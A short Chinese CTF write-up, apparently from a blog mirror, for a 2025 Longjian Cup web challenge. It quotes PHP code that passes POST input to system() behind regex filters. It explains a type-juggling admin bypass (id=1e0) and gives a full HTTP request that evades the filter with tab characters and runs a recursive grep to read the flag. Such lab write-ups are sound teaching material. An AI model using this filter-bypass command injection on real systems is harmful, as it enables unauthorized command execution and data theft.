当前位置: 首页 > news >正文

2025陇剑杯现场检测

首先burp suite找到flag.php页面

之后得到

      	<?phpif (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1) //通过id=1.0或1e0可以绕过{echo 'welcome,admin';$_SESSION['admin'] = True;} else {die('flag?');}?><?phpif ($_SESSION['admin']) {if(isset($_POST['code'])){if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)echo 'no!';elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)echo 'no!';elsesystem($_POST['code']);}}?>

发现:

  • 第一个过滤preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code']) 阻止命令字符串中包含 lscat、空格、find'
  • 第二个过滤preg_match("/[@#%^&*()|\/?><']/", $_POST['code']) 阻止命令字符串中包含 @#%^&*()|\/?><'

那么用制表符当空格,使用grep命令过滤

POST /?id=1e0 HTTP/1.1Host: web-d11ea31914.challenge.longjiancup.cnCookie: PHPSESSID=admin123Content-Type: application/x-www-form-urlencodedContent-Length: 18code=grep		-r	""	.

得到flag

http://www.dtcms.com/a/392367.html

相关文章:

  • openharmony之充电空闲状态定制开发
  • 【开题答辩全过程】以 python的线上订餐系统为例,包含答辩的问题和答案
  • (附源码)基于Spring Boot的校园心理健康服务平台的设计与实现
  • 微信小程序开发教程(十八)
  • 寰宇光锥舟架构图
  • Spring Bean生命周期全面解析
  • [vibe code追踪] 侧边栏UI管理器 | showSidebarContent
  • 嵌入式ARM架构学习9——IIC
  • 多线程——线程安全的练习加感悟
  • 使用 TwelveLabs 的 Marengo 视频嵌入模型与 Amazon Bedrock 和 Elasticsearch
  • Windows 11 下 Notepad++ 等应用无法启动问题排查修复
  • 面向口齿不清者的语音识别新突破:用大模型拯救“听不懂”的声音
  • 服装企业优化信息化管理系统的最佳软件选择
  • 多阶段构建镜像
  • 推荐一个开源服务器一键自动重装系统脚本:reinstall
  • 【C++进阶】C++11 的新特性 | lambda | 包装器
  • 2.【QT 5.12.12 安装 Windows 版本】
  • Rust_2025:阶段1:day6.3 macro
  • 【Qt开发】输入类控件(一)-> QLineEdit
  • python10——组合数据类型(集合)
  • 分布式专题——14 RabbitMQ之集群实战
  • WEEX唯客的多维度安全守护
  • 深度学习环境配置
  • 生鲜速递:HTTP 的缓存控制
  • ​​Snipaste 2.10.1.dmg截图安装教程|Mac电脑拖拽安装详细步骤​
  • 10.1.1 使用python完成第一个遗传算法
  • C语言内存精讲系列(二十九):C 语言堆区内存进阶与动态内存实战
  • 6G量子通信融合:破解未来网络的安全与效能密码
  • C#练习题——泛型实现单例模式和增删改查
  • 网关登录校验